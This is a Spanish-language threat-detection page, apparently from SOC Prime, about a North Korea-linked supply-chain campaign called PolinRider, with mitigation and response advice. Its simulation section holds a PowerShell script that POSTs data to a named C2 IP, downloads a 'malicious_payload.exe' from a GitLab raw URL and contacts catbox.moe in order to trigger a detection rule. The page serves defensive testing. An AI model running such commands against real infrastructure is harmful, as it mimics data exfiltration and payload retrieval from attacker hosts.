SOC Prime Bias: Critical

15 Sep 2026 14:55 UTC

La campaña PolinRider de la RPDC muestra actividad en la cadena de suministro con participación manual

Author Photo
SOC Prime Team linkedin icon Seguir
La campaña PolinRider de la RPDC muestra actividad en la cadena de suministro con participación manual
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un actor de amenaza vinculado a Corea del Norte llevó a cabo un ataque a la cadena de suministro en los entornos de desarrollo utilizando paquetes de Python troyanizados. La cadena de intrusión incluyó un cargador de Node.js, un implante C2 de JavaScript y un ladrón de información basado en Python. El actor estableció persistencia disfrazando componentes maliciosos como servicios legítimos de optimización de Microsoft .NET.

Investigación

La investigación tuvo lugar dentro de un entorno de engaño de alta fidelidad donde se monitorizó una estación de trabajo corporativa señuelo durante 167 horas. Los analistas capturaron la actividad en tiempo real, incluyendo la ejecución de cargas útiles maliciosas y el almacenamiento de datos. La telemetría recogida expuso la cadena completa de ataque, desde el compromiso inicial a través de un repositorio malicioso hasta la exfiltración de datos del host.

Mitigación

Las organizaciones deben aplicar un escaneo riguroso de dependencias en npm, PyPI y otros gestores de paquetes. El filtrado de salida debe bloquear conexiones HTTP a direcciones IP públicas crudas en puertos no estándares. Los defensores también deben monitorear mecanismos de persistencia inusuales, incluidos tareas programadas o entradas de registro que imiten componentes de Microsoft .NET desde rutas de perfil del sistema.

Respuesta

Si se detecta actividad maliciosa, los equipos de seguridad deben aislar inmediatamente el entorno de desarrollo o construcción afectado. Los respondedores deben buscar direcciones IP C2 conocidas y patrones de archivos sospechosos como SvcHostUpdate.py. También se debe realizar una revisión forense de las dependencias de terceros instaladas recientemente, junto con una auditoría del perfil del sistema para detectar MicrosoftCLROptimization artefactos no autorizados.

Flujo de Ataque

Todavía estamos actualizando esta parte.

Ejecución de Simulación

  • Narrativa y Comandos del Ataque: El adversario pretende avanzar con la infección obteniendo una carga útil de segunda etapa y exfiltrando datos de configuración robados. Para imitar a PolinRider, el atacante realizará:

    1. Use curl or Invoke-WebRequest para obtener un archivo de prueba desde una URL «raw» de GitLab.
    2. Realizar una solicitud POST a la IP C2 identificada (150.251.113.223:8443) mientras suplanta un User-Agent que coincide con el patrón rotating.*agent .
    3. Conectarse a dns.catbox.moe para simular un latido C2 secundario o entrega de carga útil. Estas acciones están diseñadas para activar los tres criterios de selección distintos en la regla Sigma.
  • Script de Prueba de Regresión:

     # Script de Simulación de PolinRider
    
      Write-Host "[!] Iniciando Simulación de Red de PolinRider..." -ForegroundColor Cyan
    
      # 1. Activar Selección 2: Obtención desde GitLab Raw
      Write-Host "[*] Activando Selección 2: Obtención desde GitLab Raw..."
      Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0"
    
      # 2. Activar Selección 1: POST a C2 con User-Agent Rotante
      Write-Host "[*] Activando Selección 1: POST a C2 con User-Agent Rotante..."
      $c2Url = "http://150.251.113.223:8443/upload"
      $fakeUA = "Mozilla/5.0 rotating-agent-v1.2"
      Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data"
    
      # 3. Activar Selección 3: Patrón DNS/URL para catbox.moe
      Write-Host "[*] Activando Selección 3: Conexión a Catbox.moe..."
      Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0"
    
      Write-Host "[+] Simulación Completa. Verifique alertas en el SIEM." -ForegroundColor Green
  • Comandos de Limpieza:

     # No se realizaron cambios persistentes en el sistema; 
      # Las conexiones de red son efímeras. 
      # No se escribieron archivos en el disco en esta simulación.
      Write-Host "[*] Limpieza: No se modificaron archivos ni claves de registro. La simulación está limpia." -ForegroundColor Cyan